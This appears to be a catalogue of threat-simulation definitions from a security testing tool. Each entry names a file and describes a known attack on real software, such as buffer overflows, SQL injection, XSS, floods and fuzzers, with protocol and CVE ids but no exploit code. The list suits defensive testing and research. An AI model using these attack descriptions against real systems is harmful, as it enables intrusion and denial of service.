Threat File Name:	TSL20150909-13_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_FileProcess_Stack_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX FileProcess Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument of FileProcess() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.

Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9208
Threat File Name:	santyb3.xml
Executive Description:	Santy.B phpBB worm 3
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150811-27_Microsoft_Internet_Explorer_CVE_2015_2446_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2446 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2446
Threat File Name:	watchfire_appscan_bof_IPv6.xml
Executive Description:	WatchFire AppScan Authentication Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the WatchFire AppScan product. It is caused by sending a large Authorization HTTP header from the server, which in turn allows a user to control execution of the application on the client machine. WatchFire AppScan is a HTTP security auditing program that typically connects to web servers listening on port 80. This attack is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4270
OSVDB:	21746
Threat File Name:	tftpTransfer_IPv6.xml
Executive Description:	TFTP Long Transfer Mode String (IPv6 Version)
Detailed Description:	This threat sends a TFTP request with a long transfer mode string. This is known to cause crashes in certain TFTP servers, possibly leading to remote code execution. TFTP servers normally listen on port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
CVEID:	CVE-2005-1812
OSVDB:	16954
Threat Package:	Standard
Threat File Name:	TSL20110927-02_Novell_GroupWise_Internet_Agent_HTTP_Interface_Stack_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Internet Agent HTTP Interface Stack Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Novell GroupWise Internet Agent (GWIA) HTTP interface (port 9850/tcp). The vulnerability is due to a boundary error when parsing overly long HTTP requests to certain .css resources. An unauthenticated remote attacker could exploit this vulnerability to execute arbitrary code on targeted vulnerable installations of GWIA under the context of the SYSTEM user.
Protocol Type:	HTTP, over port 9850/TCP
CVEID:	CVE-2011-0334
Threat File Name:	TSL20170314-38_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0147_Information_Disclosure.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0147 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in the disclosure of sensitive information from the target server.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0147
Threat File Name:	FSC20060509-15_Microsoft_Windows_itss_dll_CHM_File_Handling_Heap_Corruption.xml
Executive Description:	Microsoft Windows itss.dll CHM File Handling Heap Corruption
Detailed Description:	A vulnerability exists in the Microsoft Windows Infotech Storage Library. The flaw is created due to a lack of verification of a user supplied value, before using it as the size argument in a memory allocation call. Exploitation of this flaw may result in process flow diversion of the vulnerable application.
Protocol Type:	HTTP
CVEID:	CVE-2006-2297
Threat Package:	Standard
Threat File Name:	wmf_extCreateRegion_IPv6.xml
Executive Description:	Microsoft GRE ExtCreateRegion Memory Corruption (IPv6 Version)
Detailed Description:	This attack corrupts the memory of Microsoft's picture and fax viewer application. This version simply causes a crash, however it might be possible through manipulation of the heap to create an exploit out of this flaw. This flaw is different from CVE-2006-0106. This attack comes from a webserver, which typically listens on port 80. This is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0143
OSVDB:	22371
Threat Package:	Standard
Threat File Name:	FSC20081009-12_CA_ARCserve_Backup_DB_Engine_Denial_of_Service.xml
Executive Description:	CA ARCserve Backup DB Engine Denial of Service
Detailed Description:	There exists a denial of service vulnerability in CA BrightStor ARCserve Backup DB Engine. The vulnerability is due to insufficient memory initialization. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. Successful attack could create a denial of service condition to the DBEng.exe service.
Protocol Type:	TCP
CVEID:	CVE-2008-4399

Threat Package:	Standard
Threat File Name:	IEformurispoof_IPv6.xml
Executive Description:	IE HTML Form Tags Obfuscation (IPv6 Version)
Detailed Description:	This threat creates what looks like a link to a trusted website, but instead causes a form request for a different website. This can be used to fool a user to visit an incorrect website. Combined with other phishing and spoofing attacks, this can be used to steal information from unsuspecting users. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1104
OSVDB:	12342
Threat Package:	Standard
Threat File Name:	FSC20100121-12_Microsoft_Internet_Explorer_Table_Layout_Col_Tag_Cache_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Table Layout Col Tag Cache Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error handling the removal of a Col element from table layout. A Col element can still be accessed through a cache even after it has been removed from an HTML table container. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0244
Threat Package:	Standard
Threat File Name:	TSL20130919-10_Cisco_Prime_Data_Center_Network_Manager_processImageSave_jsp_Arbitrary_File_Upload.xml
Executive Description:	Cisco Prime Data Center Network Manager processImageSave.jsp Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in the <code><italic>processImageSave.jsp</italic></code> when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP
CVEID:	CVE-2013-5486
OSVDB:	97426
Threat File Name:	TSL20170330-11_Trend_Micro_IWSVA_DeploymentWizardAction_GetClusterInfo_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA DeploymentWizardAction GetClusterInfo Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters in the GetClusterInfo method of the DeploymentWizardAction class. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the root.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	TSL20150421-17_Novell_ZENworks_Configuration_Management_schedule_ScheduleQuery_SQL_Injection_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management schedule.ScheduleQuery SQL Injection IPv6 version
Detailed Description:	An SQL injection vulnerability exists in ZENworks Configuration Management. The vulnerability is due to insufficient sanitization of a request parameter in the run method of the ScheduleQuery class before using the parameter in SQL queries.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-0782
Threat File Name:	TSL20140925-02_Mozilla_Network_Security_Services_RSA_Signature_Forgery.xml
Executive Description:	Mozilla Network Security Services RSA Signature Forgery
Detailed Description:	An RSA signature forgery vulnerability exists in Mozilla Network Security Services (NSS), the cryptographic library used in many applications including Firefox and Google Chrome. The vulnerability is a result of improper verification of RSA signatures due to incorrect ASN.1 parsing of the DigestInfo structure. A remote attacker could exploit this vulnerability by providing a forged certificate e.g. for a legitimate website. Successful exploitation would result in successful verification of the forged certificate, which could lead to information disclosure, spoofing and policy bypass. Tester should set variable \$destPort 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS
CVEID:	CVE-2014-1568
OSVDB:	112036
Threat File Name:	TSL20170314-35_Microsoft_Internet_Explorer_CStr_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CStr Use After Free (IPv6 Version)
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. These vulnerabilities are due to improper objects access in memory. A remote attacker can exploit these vulnerabilities by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0059
Threat File Name:	fuzz-TFTP_RandstringFilename_RRQ_MAIL.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_MAIL.xml
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is mail.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20160506-06_ImageMagick_Delegate_Command_Injection.xml

Executive Description:	ImageMagick Delegate Command Injection
Detailed Description:	A command injection vulnerability has been reported in ImageMagick. This vulnerability is due to improper validation of SVG and MVG image files. A remote attacker can exploit this vulnerability to execute arbitrary commands under the security context of the root user.
Protocol Type:	HTTP
CVEID:	CVE-2016-3714
Threat File Name:	TSL20120607-02_Apple_QuickTime_MPEG_Stream_Padding_Buffer_Overflow.xml
Executive Description:	Apple QuickTime MPEG Stream Padding Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to an integer underflow error which further leads to a heap-based buffer overflow when calculating the padding for an MPEG sample. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a specially crafted MPEG file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2012-0659
OSVDB:	81931
Threat File Name:	sipinviterandomcontenttype.xml
Executive Description:	SIP Random Content-Type INVITE
Detailed Description:	This threat sends out a SIP INVITE message with no content and a random string for Content-Type. Content of type application/sdp is usually expected, so this can confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20040309-02_Microsoft_Outlook_2002_Script_Execution_IPv6.xml
Executive Description:	Microsoft Outlook 2002 Script Execution (IPv6 Version)
Detailed Description:	Microsoft Outlook, an email client, contains a vulnerability in the handling of a mailto: URI. The lack of filtering of parameters passed to Outlook via the "mailto:" URI allows for script execution in the Local Machine zone on a vulnerable system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0121
Threat Package:	Standard
Threat File Name:	FSC20060316-13_Atrium_Mercur_IMAP_Remote_Buffer_Overflow_IPv6.xml
Executive Description:	Atrium Mercur IMAP Remote Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been identified in the Atrium Mercur IMAP service component. The application contains a flaw in its command processing code resulting from insufficient bounds checks. This vulnerability may be exploited by malicious authenticated users to compromise a target host. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2006-1255
Threat Package:	Standard
Threat File Name:	TSL20120404-07_Cisco_WebEx_Recording_Format_Player_atas32_dll_Integer_Overflow_IPv6.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll Integer Overflow(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to an integer overflow leading to a heap buffer overflow when processing WRF files. A remote unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing the target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the currently logged on user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-1336
OSVDB:	81105
Threat File Name:	FSC20100726-03_Mozilla_Firefox_Plugin_Parameter_Array_Dangling_Pointer_IPv6.xml
Executive Description:	Mozilla Firefox Plugin Parameter Array Dangling Pointer
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox. The vulnerability is due to an error while handling plugins parameters contained in a malicious <object> tag. A remote attacker can exploit this vulnerability by enticing a target user to visit a specially crafted web page. Exploitation of the vulnerability can result in arbitrary code execution in the context of the application. In attack scenarios where code execution is successful the behaviour of the target system depends entirely on the logic of the injected code, which would run within the security context of the currently logged in user. In situations where code execution is not successful the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-2755
Threat Package:	Standard
Threat File Name:	TSL20150126-06_PHP_exif_Extension_exif_read_data_NULL_Pointer_Dereference.xml
Executive Description:	PHP exif Extension exif_read_data NULL Pointer Dereference.
Detailed Description:	A code execution vulnerability exists in PHP's exif extension. The vulnerability is due to a NULL Pointer dereference inside the exif_read_data function. A remote attacker can exploit this vulnerability by sending crafted picture data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly result in remote code execution.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0232
OSVDB:	117467
Threat File Name:	lotusDOS.xml
Executive Description:	IBM Lotus Domino Server Web Service Denial Of Service
Detailed Description:	This threat causes the web service for Lotus Domino to crash. This is performed by sending a large HTTP GET request to the cgi-bin processor.
Protocol Type:	HTTP
CVEID:	CVE-2005-0986
Threat Package:	Standard
Threat File Name:	tekman_portal_sqli_IPv6.xml

Executive Description:	Tekman Portal Uye_Profil.ASP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Tekman Portal an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090609-16_Microsoft_IIS_5.0_WebDav_Request_Directory_Security_Bypass.xml
Executive Description:	Microsoft IIS 5.0 WebDav Request Directory Security Bypass
Detailed Description:	A security bypass vulnerability exists in the Microsoft Internet Information Services (IIS) product. The vulnerability is due to the way IIS handles WebDAV requests for web pages requiring authentication. A remote attacker can exploit the vulnerability to bypass access restrictions on resources that require authentication. A successful attack attempt will allow the attacker to bypass security controls, upload or download arbitrary files to protected resources.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1122
Threat Package:	Standard
Threat File Name:	FSC20091110-07_Microsoft_Office_Excel_Featheader_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Featheader Record Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel products. The vulnerability is due to the way that Microsoft Office Excel handles specially crafted Excel files that include a malformed FeatHdr record object, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS
CVEID:	CVE-2009-3129
Threat Package:	Standard
Threat File Name:	drake_cms_xss_IPv6.xml
Executive Description:	Drake CMS UI.DTA.PHP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the UI.DTA.PHP function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. Drake CMS is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080806-16_Cisco_Webex_Meeting_Manager_atucfobj_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Cisco Webex Meeting Manager atucfobj ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Cisco Webex Meeting Manager application. The vulnerability is caused due to insufficient boundary checking when an overly long parameter is passed to the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	gimp_ras_bof_IPv6.xml
Executive Description:	Gimp 2.2.14 .RAS File Download/Execute Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a download of a malicious RAS file demonstrating a flaw in gimps RAS file parser. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3945
Threat Package:	Standard
Threat File Name:	TSL20140715-12_HP_Intelligent_Management_Center_FaultDownloadServlet_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center FaultDownloadServlet Information Disclosure IPv6 version
Detailed Description:	An information disclosure Test vulnerability exists in HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system. Tester needs to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2014-2620
OSVDB:	109170
Threat File Name:	mxshop_prd_ctg_sqli_IPv6.xml
Executive Description:	MX Shop Pages Module 'id_prd' variable SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	FSC20091209-04_Novell_iPrint_Client_ienipp.ocx_target-frame_Stack_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client ienipp.ocx target-frame Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell iPrint Client. The vulnerability is due to a boundary error in the ActiveX control when parsing target-frame parameter values. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1568
Threat Package:	Standard

Threat File Name:	excel_bof_b_IPv6.xml
Executive Description:	Microsoft Excel xlw file Remote Code Execution MS06-012 (IPv6 Version)
Detailed Description:	This server based threat downloads a Malicious xlw file which triggers the excel remote code execution flaw mentioned in microsoft advisory ms06-012. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0029
Threat Package:	Standard
Threat File Name:	vbtovsi_overwrite.xml
Executive Description:	Microsoft Visual Studio 6.0 (VBTOVSI.DLL 1.0.0.0) File Overwrite Exploit
Detailed Description:	This threat downloads a malicious web page which will write to an arbitrary file. This method can be used to overwrite any file on the system. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ipv6_loopback.xml
Executive Description:	IPv6 Loopback Ping
Detailed Description:	This threat sends a ping with a source address of 0000:0000:0000:0000:0000:0000:0000:0001.
Protocol Type:	ICMP6
Threat Package:	Standard
Threat File Name:	TSL20120627-05_Novell_iPrint_Client_GetDriverSettings_Realm_Parameter_Stack_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client GetDriverSettings Realm Parameter Stack Buffer Overflow
Detailed Description:	Two stack buffer overflow vulnerabilities exist in Novell iPrint Client. The vulnerabilities are due to insufficient validation of the Realm parameter to the method GetDriverSettings. A remote attacker can leverage this vulnerability by enticing a target user to open a specially crafted web page. Successful exploitation can allow an attacker to execute arbitrary code on a target system in the security context of the current user. In an unsuccessful attack attempt, the browser may abnormally terminate.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-4187
OSVDB:	78955
Threat File Name:	sipunknownmismatch_IPv6.xml
Executive Description:	SIPPING: Unknown Method and CSeq Mismatch (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with an unknown method and a different (but known) CSeq method. This is illegal and can cause one of a number of possible error messages. Because it is unexpected, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	fuzz-SMTP-HELO_Parameter_brackets_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with [] (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with [] from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20080211-18_Novell_Client_nwspool_dll_EnumPrinters_Function_Stack_Buffer_Overflow.xml
Executive Description:	Novell Client nwspool.dll EnumPrinters Function Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way Novel Client for Windows handles RPC requests. The vulnerability is due to lack of boundary protection while processing RPC requests. A remote unauthenticated attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable host with System-level privileges.
Protocol Type:	SMB
CVEID:	CVE-2008-0639
Threat Package:	Standard
Threat File Name:	ftp_buffer_overflow_1025.xml
Executive Description:	FTP Buffer Overflow [1025] Attack
Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	nexusway_IPv6.xml
Executive Description:	Neteyes Nexusway Remote Command Execution (IPv6 Version)
Detailed Description:	This threat exploits the CGI scripts contained on the Neteyes Nexusway Border Gateway web console. By passing more shell arguments through the command line to application, it is possible to run arbitrary commands in the context of the super user. This affects the built in webserver on this appliance. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1559
OSVDB:	16448
Threat Package:	Standard
Threat File Name:	TSL20130619-13_Oracle_Java_SE_XML_Digital_Signature_Spoofing_IPv6.xml
Executive Description:	Oracle Java SE XML Digital Signature Spoofing [IPv6, Version]
Detailed Description:	A spoofing vulnerability has been reported in Oracle Java SE. The vulnerability is due to improper use of Canonicalization algorithm while validating the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-2461
OSVDB:	94350

Threat File Name:	litespeed_xss.xml
Executive Description:	LiteSpeed ConfMgr.php Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. LiteSpeed Webserver is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3695
OSVDB:	20908
Threat Package:	Standard
Threat File Name:	setslice.xml
Executive Description:	Internet Explorer Set Slice Exploit
Detailed Description:	This threat causes a flaw in Microsoft's Internet Explorer. It affects the WebViewFolderIcon ActiveX object. This attack would typically come from a malicious webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3730
OSVDB:	27110
Threat Package:	Standard
Threat File Name:	empty_option_IPv6.xml
Executive Description:	Empty OPTIONS request (IPv6 Version)
Detailed Description:	This threat sends an OPTION with no URI or HTTP version specified. Can cause certain webserver to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2315
OSVDB:	19468
Threat Package:	Standard
Threat File Name:	TSL20131024-08_Oracle_Outside_In_OS_2_Metatile_Parser_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In OS 2 Metatile Parser Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metafiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
Threat File Name:	TSL20131101-11_HP_LoadRunner_Virtual_User_Generator_saveCodeRuleFile_Directory_Traversal_IPv6.xml
Executive Description:	HP LoadRunner Virtual User Generator saveCodeRuleFile Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in HP LoadRunner Virtual User Generator. The vulnerability exists in the EmulationAdmin web service. The vulnerability is due to insufficient validation on the parameters of saveCodeRuleFile method sent via SOAP requests. A remote unauthenticated attacker can exploit this vulnerability to create arbitrary files on the server. Successful exploitation of the vulnerability could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP, IPV6
CVEID:	CVE-2013-4838
OSVDB:	99232
Threat File Name:	siprandomversion.xml
Executive Description:	SIP Random Version
Detailed Description:	This threat sends out a SIP INVITE message with random strings for its version fields. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20090414-06_Microsoft_HTTP_Services_Chunked-Encoding_Integer_Overflow.xml
Executive Description:	Microsoft HTTP Services Chunked Encoding Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in Microsoft Windows HTTP Services. The flaw is due to improper validation of parameters returned by a remote Web server. An attacker can persuade the target user or a service running on the target system to connect to a malicious Web Sever to exploit this vulnerability. Successful attack could allow for arbitrary code execution and complete control of the targeted system. In an attack scenario, where arbitrary code is injected and executed on the target system, the attacker could install applications; access, modify, and delete data; or create new accounts with privileges of the user or service that connected to the malicious Web server. Unsuccessful attacks could result in the termination of any Windows service or third party application using HTTP services.
Protocol Type:	HTTP/SSDP
CVEID:	CVE-2009-0086
Threat Package:	Standard
Threat File Name:	IMail_whois_IPv6.xml
Executive Description:	IMail Whois Daemon Overflow (IPv6 Version)
Detailed Description:	This threat sends a payload 1000 bytes to the whois daemon that ships with IMail 5.0 (port 43). This causes a buffer overflow condition, which can be exploited to gain unauthorized access to the machine. (IPv6 Version)
Protocol Type:	Whois/IPv6
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard
Threat File Name:	sipzerolengthinvite.xml
Executive Description:	SIP Zero Length INVITE
Detailed Description:	This threat sends out a SIP INVITE message with no content. The lack of SDP info can confuse or crash a PBX if it isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	vlc_activex_bof.xml

Executive Description:	VideoLAN VLC axvlc.dll ActiveX Control Initialization Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the axvlc.dll ActiveX Object in VideoLAN VLC, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6262
Threat Package:	Standard
Threat File Name:	TSL20170111-14_Adobe_Acrobat_ImageConversion_TIFF_Heap-based_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat ImageConversion TIFF Heap-based Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in a heap-based buffer overflow when processing a TIFF image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file. Successful exploitation could result in code execution under the context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
Threat File Name:	mailsite_xss.xml
Executive Description:	Rockliffe MailSite HTTP Management Agent WCONSOLE.DLL XSS
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Rockliffe Mailsite uses a web based interface that typically listens on port 90.
Protocol Type:	HTTP
CVEID:	CVE-2006-0341
OSVDB:	22677
Threat File Name:	TSL20150113-14_Microsoft_Windows_Telnet_Service_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Telnet Service Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Telnet service. The vulnerability is due to an input validation error in processing Telnet messages. A remote attacker can exploit this vulnerability by sending crafted Telnet messages to a vulnerable server. Successful exploitation could possibly results in arbitrary code execution in the security context of the "Local Service" account. Tester should set variable \$destPort to 23 before test.
Protocol Type:	Telnet
CVEID:	CVE-2015-0014
OSVDB:	116954
Threat File Name:	floodICMPprotocolcolumnreachable.xml
Executive Description:	ICMP Protocol Unreachable Flood
Detailed Description:	This threat sends out an ICMP Protocol Unreachable flood. This causes a "hard error" for a TCP connection, terminating it. TCP stacks should ignore this message if the connection is already established, but many do not. By continuously sending these packets, this can cause a denial of service on the target.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	urgFlood_IPv6.xml
Executive Description:	TCP URG Flood (IPv6 Version)
Detailed Description:	This threat floods a user defined target with TCP packets, from randomized, spoofed addresses, where the URG (urgent) flag has been turned on. The receiving target passes data to the application in sequence, unless that data is marked as urgent, thus superseding the rule and passing our bogus data to the application for execution. This will result in a the server's application processing erroneous packets and using resources causing a slowed response to legitimate traffic and possibly DoS. This is only subject if the packets become associated with a legitimate connection which will be created with future, state-oriented attacks. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-1349
OSVDB:	13500
Threat Package:	Standard
Threat File Name:	FSC20071206-12_HP_OpenView_Network_Node_Manager_CGI_Application_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager CGI Application Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in HP OpenView Network Node Manager. The flaw is due to boundary error in Common Gateway Interface (CGI) applications when processing overly long parameters submitted in HTTP requests. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally the Internet Guest Account on Windows platforms.
Protocol Type:	HTTP
CVEID:	CVE-2007-6204
Threat Package:	Standard
Threat File Name:	TSL20111213-14_Microsoft_Excel_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Record Parsing Memory Corruption(IPV6 VERSION)
